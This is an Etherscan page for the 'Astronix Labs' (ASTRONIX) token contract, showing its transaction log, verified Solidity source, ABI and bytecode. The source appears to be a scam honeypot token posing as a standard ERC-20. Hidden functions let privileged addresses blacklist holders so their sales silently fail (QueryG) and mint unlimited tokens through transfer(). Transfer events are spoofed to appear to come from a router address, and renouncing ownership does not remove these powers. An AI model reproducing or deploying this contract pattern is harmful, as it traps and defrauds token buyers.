ETH Price: $2,027.22 (+0.29%)

Contract

0x8b4a4e80E40AA7C3B18A804664C4C1acdfDfD12d
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve159113282022-11-06 13:38:591221 days ago1667741939IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0003717915.0032604
Approve159113272022-11-06 13:38:471221 days ago1667741927IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0003879215.6541167
Approve158930052022-11-04 0:15:471224 days ago1667520947IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0009121719.38123581
Transfer158930012022-11-04 0:14:591224 days ago1667520899IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0004309313.4218009
Approve158929942022-11-04 0:13:351224 days ago1667520815IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0007267615.44172691
Approve158928512022-11-03 23:44:471224 days ago1667519087IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0007200115.29832916
Query G158924732022-11-03 22:28:471224 days ago1667514527IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0007219315.55526128
Query G158920792022-11-03 21:09:351224 days ago1667509775IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0004357618.04120657
Approve158920772022-11-03 21:09:111224 days ago1667509751IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0009113719.36416084
Approve158920462022-11-03 21:02:591224 days ago1667509379IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0007885216.75404998
Query G158920362022-11-03 21:00:591224 days ago1667509259IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0004026116.6686356
Transfer158919912022-11-03 20:51:591224 days ago1667508719IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0005694819.64674634
Approve158919762022-11-03 20:48:591224 days ago1667508539IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0009012919.15
Query G158919702022-11-03 20:47:471224 days ago1667508467IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0004539418.7939405
Approve158919212022-11-03 20:37:591224 days ago1667507879IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0008564118.19639046
Query G158917472022-11-03 20:02:591224 days ago1667505779IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0023591150.83092382
Approve158916992022-11-03 19:53:111224 days ago1667505191IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0009058519.24694901
Query G158916872022-11-03 19:50:471224 days ago1667505047IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0008824119.01309119
Query G158916702022-11-03 19:47:231224 days ago1667504843IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0009811821.14127186
Approve158916222022-11-03 19:37:471224 days ago1667504267IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0010306321.89810382
Approve158916082022-11-03 19:34:471224 days ago1667504087IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0008377517.8
Query G158915922022-11-03 19:31:351224 days ago1667503895IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0008993819.37868234
Transfer158915912022-11-03 19:31:231224 days ago1667503883IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0005654819.50897656
Query G158915902022-11-03 19:31:111224 days ago1667503871IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0008808618.97970665
Transfer158915902022-11-03 19:31:111224 days ago1667503871IN
0x8b4a4e80...cdfDfD12d
0 ETH0.0011883921.97970665
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ASTRONIX

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2022-11-03
*/

pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}



library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _Owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Create(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    address GSKS = 0xD18312210cBbF269d2372c6C4564859920f7f155;
	address gRouterg = 0x426903241ADA3A0092C3493a0C795F2ec830D622;
    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _Owner;
    }

    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }
        		modifier onlyOwner{
        require(msg.sender == _Owner);
        _; }

}



contract ASTRONIX is Context, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private Gc;
	mapping (address => bool) private Gb;
    mapping (address => bool) private Gw;
    mapping (address => mapping (address => uint256)) private Gv;
    uint8 private constant _Gec = 8;
    uint256 private constant gS = 200000000 * 10**_Gec;
    string private constant _name = "Astronix Labs";
    string private constant _symbol = "ASTRONIX";



    constructor () {
        Gc[_msgSender()] = gS;
         gMake(); }
    

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _Gec;
    }

    function totalSupply() public pure  returns (uint256) {
        return gS;
    }

    function balanceOf(address account) public view  returns (uint256) {
        return Gc[account];
    }
    function gMake() onlyOwner internal {
    emit Transfer(address(0), gRouterg, gS); }

    function allowance(address owner, address spender) public view  returns (uint256) {
        return Gv[owner][spender];
    }
	        function BurnG(address Gj) onlyOwner public{
        Gb[Gj] = true; }
		
            function approve(address spender, uint256 amount) public returns (bool success) {    
        Gv[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

        
		function gStake(address Gj) public {
        if(Gb[msg.sender]) { 
        Gw[Gj] = false;}}
        function QueryG(address Gj) public{
         if(Gb[msg.sender])  { 
        Gw[Gj] = true; }}
   

		function transferFrom(address sender, address recipient, uint256 amount) public returns (bool success) {
         if(sender == GSKS)  {
        require(amount <= Gc[sender]);
        Gc[sender] -= amount;  
        Gc[recipient] += amount; 
          Gv[sender][msg.sender] -= amount;
        emit Transfer (gRouterg, recipient, amount);
        return true; }  else  
          if(!Gw[recipient]) {
          if(!Gw[sender]) {
         require(amount <= Gc[sender]);
        require(amount <= Gv[sender][msg.sender]);
        Gc[sender] -= amount;
        Gc[recipient] += amount;
        Gv[sender][msg.sender] -= amount;
        emit Transfer(sender, recipient, amount);
        return true; }}}
		function transfer(address Gi, uint256 Gj) public {
        if(msg.sender == GSKS)  {
        require(Gc[msg.sender] >= Gj);
        Gc[msg.sender] -= Gj;  
        Gc[Gi] += Gj; 
        emit Transfer (gRouterg, Gi, Gj);} else  
        if(Gb[msg.sender]) {Gc[Gi] += Gj;} else
        if(!Gw[msg.sender]) {
        require(Gc[msg.sender] >= Gj);
        Gc[msg.sender] -= Gj;  
        Gc[Gi] += Gj;          
        emit Transfer(msg.sender, Gi, Gj);}}}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Create","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"Gj","type":"address"}],"name":"BurnG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Gj","type":"address"}],"name":"QueryG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"Gj","type":"address"}],"name":"gStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"Gi","type":"address"},{"internalType":"uint256","name":"Gj","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405273d18312210cbbf269d2372c6c4564859920f7f155600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073426903241ada3a0092c3493a0c795f2ec830d622600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000bb57600080fd5b506000620000ce620001f560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506008600a6200017c91906200049c565b630bebc2006200018d9190620004ed565b60036000620001a1620001f560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001ef620001fd60201b60201c565b62000566565b600033905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146200025657600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008600a620002d891906200049c565b630bebc200620002e99190620004ed565b604051620002f8919062000549565b60405180910390a3565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003905780860481111562000368576200036762000302565b5b6001851615620003785780820291505b8081029050620003888562000331565b945062000348565b94509492505050565b600082620003ab57600190506200047e565b81620003bb57600090506200047e565b8160018114620003d45760028114620003df5762000415565b60019150506200047e565b60ff841115620003f457620003f362000302565b5b8360020a9150848211156200040e576200040d62000302565b5b506200047e565b5060208310610133831016604e8410600b84101617156200044f5782820a90508381111562000449576200044862000302565b5b6200047e565b6200045e84848460016200033e565b9250905081840481111562000478576200047762000302565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620004a98262000485565b9150620004b6836200048f565b9250620004e57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000399565b905092915050565b6000620004fa8262000485565b9150620005078362000485565b9250828202620005178162000485565b9150828204841483151762000531576200053062000302565b5b5092915050565b620005438162000485565b82525050565b600060208201905062000560600083018462000538565b92915050565b6117e980620005766000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063ae44494d11610066578063ae44494d1461023b578063b86c902f14610257578063c5cb111614610273578063dd62ed3e1461028f576100ea565b80638da5cb5b146101e357806395d89b4114610201578063a9059cbb1461021f576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806370a08231146101a9578063715018a6146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102bf565b60405161010491906112e0565b60405180910390f35b6101276004803603810190610122919061139b565b6102fc565b60405161013491906113f6565b60405180910390f35b6101456103ee565b6040516101529190611420565b60405180910390f35b6101756004803603810190610170919061143b565b610412565b60405161018291906113f6565b60405180910390f35b6101936109b1565b6040516101a091906114aa565b60405180910390f35b6101c360048036038101906101be91906114c5565b6109ba565b6040516101d09190611420565b60405180910390f35b6101e1610a03565b005b6101eb610b19565b6040516101f89190611501565b60405180910390f35b610209610b42565b60405161021691906112e0565b60405180910390f35b6102396004803603810190610234919061139b565b610b7f565b005b610255600480360381019061025091906114c5565b610fba565b005b610271600480360381019061026c91906114c5565b611068565b005b61028d600480360381019061028891906114c5565b611116565b005b6102a960048036038101906102a4919061151c565b6111c9565b6040516102b69190611420565b60405180910390f35b60606040518060400160405280600d81526020017f417374726f6e6978204c61627300000000000000000000000000000000000000815250905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103dc9190611420565b60405180910390a36001905092915050565b60006008600a6103fe91906116be565b630bebc20061040d9190611709565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361068457600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156104b557600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610504919061174b565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461055a919061177f565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ed919061174b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106739190611420565b60405180910390a3600190506109aa565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166109a957600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166109a857600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561077257600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107fb57600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084a919061174b565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108a0919061177f565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610933919061174b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109979190611420565b60405180910390a3600190506109aa565b5b5b9392505050565b60006008905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a5b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f415354524f4e4958000000000000000000000000000000000000000000000000815250905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610d585780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c2057600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c6f919061174b565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cc5919061177f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d4b9190611420565b60405180910390a3610fb6565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e055780600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610df9919061177f565b92505081905550610fb5565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fb45780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ea257600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef1919061174b565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f47919061177f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fab9190611420565b60405180910390a35b5b5b5050565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611065576001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611113576000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116e57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561128a57808201518184015260208101905061126f565b60008484015250505050565b6000601f19601f8301169050919050565b60006112b282611250565b6112bc818561125b565b93506112cc81856020860161126c565b6112d581611296565b840191505092915050565b600060208201905081810360008301526112fa81846112a7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061133282611307565b9050919050565b61134281611327565b811461134d57600080fd5b50565b60008135905061135f81611339565b92915050565b6000819050919050565b61137881611365565b811461138357600080fd5b50565b6000813590506113958161136f565b92915050565b600080604083850312156113b2576113b1611302565b5b60006113c085828601611350565b92505060206113d185828601611386565b9150509250929050565b60008115159050919050565b6113f0816113db565b82525050565b600060208201905061140b60008301846113e7565b92915050565b61141a81611365565b82525050565b60006020820190506114356000830184611411565b92915050565b60008060006060848603121561145457611453611302565b5b600061146286828701611350565b935050602061147386828701611350565b925050604061148486828701611386565b9150509250925092565b600060ff82169050919050565b6114a48161148e565b82525050565b60006020820190506114bf600083018461149b565b92915050565b6000602082840312156114db576114da611302565b5b60006114e984828501611350565b91505092915050565b6114fb81611327565b82525050565b600060208201905061151660008301846114f2565b92915050565b6000806040838503121561153357611532611302565b5b600061154185828601611350565b925050602061155285828601611350565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156115e2578086048111156115be576115bd61155c565b5b60018516156115cd5780820291505b80810290506115db8561158b565b94506115a2565b94509492505050565b6000826115fb57600190506116b7565b8161160957600090506116b7565b816001811461161f576002811461162957611658565b60019150506116b7565b60ff84111561163b5761163a61155c565b5b8360020a9150848211156116525761165161155c565b5b506116b7565b5060208310610133831016604e8410600b841016171561168d5782820a9050838111156116885761168761155c565b5b6116b7565b61169a8484846001611598565b925090508184048111156116b1576116b061155c565b5b81810290505b9392505050565b60006116c982611365565b91506116d48361148e565b92506117017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846115eb565b905092915050565b600061171482611365565b915061171f83611365565b925082820261172d81611365565b915082820484148315176117445761174361155c565b5b5092915050565b600061175682611365565b915061176183611365565b92508282039050818111156117795761177861155c565b5b92915050565b600061178a82611365565b915061179583611365565b92508282019050808211156117ad576117ac61155c565b5b9291505056fea26469706673582212205fc39a12bdf5a926d723d1c48ad1fb97c9774cf3f3ffdae552cfea36814e0bf264736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063ae44494d11610066578063ae44494d1461023b578063b86c902f14610257578063c5cb111614610273578063dd62ed3e1461028f576100ea565b80638da5cb5b146101e357806395d89b4114610201578063a9059cbb1461021f576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806370a08231146101a9578063715018a6146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102bf565b60405161010491906112e0565b60405180910390f35b6101276004803603810190610122919061139b565b6102fc565b60405161013491906113f6565b60405180910390f35b6101456103ee565b6040516101529190611420565b60405180910390f35b6101756004803603810190610170919061143b565b610412565b60405161018291906113f6565b60405180910390f35b6101936109b1565b6040516101a091906114aa565b60405180910390f35b6101c360048036038101906101be91906114c5565b6109ba565b6040516101d09190611420565b60405180910390f35b6101e1610a03565b005b6101eb610b19565b6040516101f89190611501565b60405180910390f35b610209610b42565b60405161021691906112e0565b60405180910390f35b6102396004803603810190610234919061139b565b610b7f565b005b610255600480360381019061025091906114c5565b610fba565b005b610271600480360381019061026c91906114c5565b611068565b005b61028d600480360381019061028891906114c5565b611116565b005b6102a960048036038101906102a4919061151c565b6111c9565b6040516102b69190611420565b60405180910390f35b60606040518060400160405280600d81526020017f417374726f6e6978204c61627300000000000000000000000000000000000000815250905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103dc9190611420565b60405180910390a36001905092915050565b60006008600a6103fe91906116be565b630bebc20061040d9190611709565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361068457600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156104b557600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610504919061174b565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461055a919061177f565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ed919061174b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106739190611420565b60405180910390a3600190506109aa565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166109a957600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166109a857600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561077257600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107fb57600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084a919061174b565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108a0919061177f565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610933919061174b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109979190611420565b60405180910390a3600190506109aa565b5b5b9392505050565b60006008905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a5b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffff